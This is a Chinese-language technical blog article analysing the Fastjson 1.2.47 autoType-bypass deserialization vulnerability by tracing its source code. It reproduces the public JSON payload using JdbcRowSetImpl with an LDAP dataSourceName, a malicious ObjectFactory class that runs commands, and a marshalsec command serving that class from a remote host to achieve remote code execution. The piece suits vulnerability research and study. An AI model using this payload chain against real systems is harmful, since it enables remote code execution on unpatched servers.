您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
這次將要介紹的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。
Fastjson 1.2.47版本漏洞與上篇文章中介紹的幾處漏洞在原理上有著很大的不同。與Fastjson歷史上存在的大多數漏洞不同的是,Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未開啟時進行
首先來看一下公開的poc
public class demo { public static void main(String[] args) { String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}"; Object obj = JSON.parseObject(payload); System.out.println(obj); } }
從代碼中可見,與以往利用不同的是,該poc中構造了兩個json字符串
1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}
為了弄清楚這樣構造的意義,我們來動態調試一下這個漏洞
程序首先解析第一個json字符串
我們跳過部分FastJson解析流程,直接來看checkAutoType安全模塊時的操作。對這個字符串中\@type字段進行校驗
在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模塊中,程序首先進入了這個分支,程序調用getClassFromMapping對typeName進行解析,typeName即為字符串中@type的值,在第一個json字符串中,這個值為"java.lang.Class"
我們跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMapping
從上圖代碼可見,程序想從mappings中尋找鍵名為”java.lang.Class”的元素并返回對應的鍵值。值得一提的是,mappings合集與后文將要講到的buckets合集對這個漏洞至關重要,這二者是這個漏洞產生的核心因素
mappings合集
mappings中存儲的數據都是什么呢?經過調試可以發現其中數據形式如下圖中所展示
從上圖可見,mappings中存儲著類名字符串以及對應類對象。然而mappings中的數據又是從何而來的呢?
經過調試發現,mappings中存儲的數據是由位于com/alibaba/fastjson/util/TypeUtils.java的addBaseClassMappings方法添加的
從Mapping合集中的數據可以猜測,Mapping是用來存儲一些基礎的Class,以便于在反序列化處理這些基礎類時提高效率
在弄清楚mappings列表的由來后,繼續回到正題。我們構造的typeName(@type指定的"java.lang.Class")并不在Mappings的鍵中。因此getClassFromMapping方法返回null,程序繼續向下執行進入下一個if分支。此時程序接著調用deserializers.findClass對傳入的typeName進行解析
我們跟入位于com/alibaba/fastjson/util/IdentityHashMap.java的findClass方法進行進一步分析
從上圖代碼可見,程序會遍歷buckets,取出其中元素的key屬性值的名稱并與傳入的”java.lang.Class”進行比較,如果二者相同,則將這個Class對象返回
buckets合集
現在我們要談談buckets合集了。buckets又存儲著什么元素呢?見下圖
上圖我們展開了一個buckets合集中元素進行展示。與Mapping合集相同的問題產生了:buckets中的元素都有哪些、他們又從何而來呢?經過調試我們在見下三張圖中找到了答案
通過FastJson作者關于buckets合集的注釋猜測,buckets是一個用于并發的IdentityHashMap
回到調試流程中findClass方法來,我們構造的typeName(@type指定的"java.lang.Class")被findClass方法匹配到了,因此java.lang.Class類對象被返回
在findClass執行完成后,java.lang.Class類對象被返回到checkAutoType中并賦值給clazz,checkAutoType方法也將于963行處將clazz返回。
回顧一下上文中的Mapping合集和buckets合集,Fastjson為什么要將用戶傳入的\@type字段指定的字符串在這兩個合集中匹配呢?
Mapping合集則是用來存儲基礎的Class,如果\@type字段傳入的字符串如果對應了基礎Class,程序則直接找到其類對象并將其類對象返回,從而跳過了checkAutoType后續的部分校驗過程。而buckets合集則是用于并發操作。
但無論Mapping合集與buckets合集實際作用是什么,但凡用戶傳入的\@type字段字段值在兩個合集中任意一個中,且程序使用JSON.parseObject(payload);這樣的形式解析字符串(確保expectClass為空,防止進入上圖957行if分支),checkAutoType都將會直接將其對應的Class返回。
checkAutoType在將clazz返回后,程序將會執行到com/alibaba/fastjson/parser/DefaultJSONParser.java中的如下代碼
從上圖第一個紅框可見,checkAutoType在將用戶傳入的@type值返回后,程序會賦值給上圖316行處clazz變量,而上圖384行處的deserialze方法緊接著處理這個clazz變量
跟入位于com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; ? if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } lexer.nextToken(); } else { throw new JSONException("syntax error"); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE); ? if (objVal == null) { strVal = null; } else if (objVal instanceof String) { strVal = (String) objVal; } ? if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
此時傳入deserialze中clazz變量為checkAutoType安全模塊校驗后返回的"java.lang.Class"而fieldName變量值為解析的第一個json字段名"a"
deserialze方法中,與本次漏洞與poc構造的代碼塊主要有三部分,分別是:
取出json字符串中val值
if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } lexer.nextToken(); } else { throw new JSONException("syntax error"); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE);
在這段代碼中,程序將判斷傳入的json字符串中是否有”val”,并將其值通過下圖第一個紅框處的代碼取出賦值給objVal變量。
將objVal變量值轉換為String類型并賦值strVal變量
if (objVal == null) { strVal = null; } else if (objVal instanceof String) { strVal = (String) objVal; }
這段代碼與上一段銜接,objVal變量值又傳遞給下圖第二個紅框處。strVal變量判斷objVal非空且為String類實例時,將其轉換為String類型并賦值與strVal
調用TypeUtils.loadClass處理val值
if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
這段代碼的作用時,當傳入的clazz變量為Class的類對象時,調用TypeUtils.loadClass處理strVal(即json字符串中的val值)
在分析完deserialze方法的加工流程后,我們回頭看看poc中構造的val值是什么,見下圖紅框處
poc中構造的是com.sun.rowset.JdbcRowSetImpl字符串,也就是過往漏洞利用中可利用的類。但是根據之前的分析,自從黑名單機制的完善,這個類早已已經不能簡單的直接利用了,這個漏洞究竟是如何讓這個類繞過黑名單重獲新生呢?我們繼續往下看看TypeUtils.loadClass中的操作,繼續跟入位于com/alibaba/fastjson/util/TypeUtils.java的loadClass
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { if(className == null || className.length() == 0){ return null; } Class<?> clazz = mappings.get(className); if(clazz != null){ return clazz; } if(className.charAt(0) == '['){ Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } if(className.startsWith("L") && className.endsWith(";")){ String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } try{ if(classLoader != null){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ e.printStackTrace(); // skip } try{ ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if(contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ // skip }
loadClass接收的一個參數:"className"為String類型變量,根據上文的調用關系,這里傳入的是字符串"com.sun.rowset.JdbcRowSetImpl",即className參數值為"com.sun.rowset.JdbcRowSetImpl"
通過分析loadClass方法代碼,可以發現如下代碼
try{ ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if(contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } }
在該代碼段中,程序通過contextClassLoader.loadClass(className);方法從字符串類型className變量("com.sun.rowset.JdbcRowSetImpl")獲取到com.sun.rowset.JdbcRowSetImpl類對象,并賦值給clazz變量。此時的className、clazz變量形式如下圖
接著,程序判斷cache變量情況:在當cache為true時,將className、clazz鍵值對加入mappings合集(cache默認為true)。
經過動態調試可以發現,通過上面的一系列操作,Mappings合集中確實已經加入了我們的惡意類com.sun.rowset.JdbcRowSetImpl,見下圖
在我們的第一個json字符串解析完成后,程序隨后會解析我們第二個json字符串
與第一個json字符串解析流程完全一致,程序也執行到下圖部分
由于這次Mapping中有鍵名為com.sun.rowset.JdbcRowSetImpl的元素,因此clazz被賦值為com.sun.rowset.JdbcRowSetImpl類對象
從下面兩張圖可見,此時上文的流程完全一致,只不過這次返回的時com.sun.rowset.JdbcRowSetImpl類對象
com.sun.rowset.JdbcRowSetImpl惡意類被順利返回,但是整個操作流程中并未觸發checkAutoType黑白名單校驗機制。隨后com.sun.rowset.JdbcRowSetImpl惡意類被反序列化,觸發利用
為了證實漏洞的存在,我們首先在192.167.30.116服務器的80端口web服務上部署ExecTest.class。ExecTest.java中內容如下
java import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class ExecTest implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec("xterm"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); } }
使用marshalsec開啟ladp服務,監聽在1389端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389
demo程序執行完畢,計算器成功彈出
Fastjson 1.2.47版本的漏洞與Fastjson歷史上存在的大多數漏洞不同。本次漏洞相比自立一派,與過往那些針對補丁繞過的漏洞相比,本次漏洞更為復雜與精妙。1.2.47版本的漏洞涉及到一些Fastjson機制類的知識,通過對這個漏洞進行分析,可以更好的了解FastJson框架。
關于Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。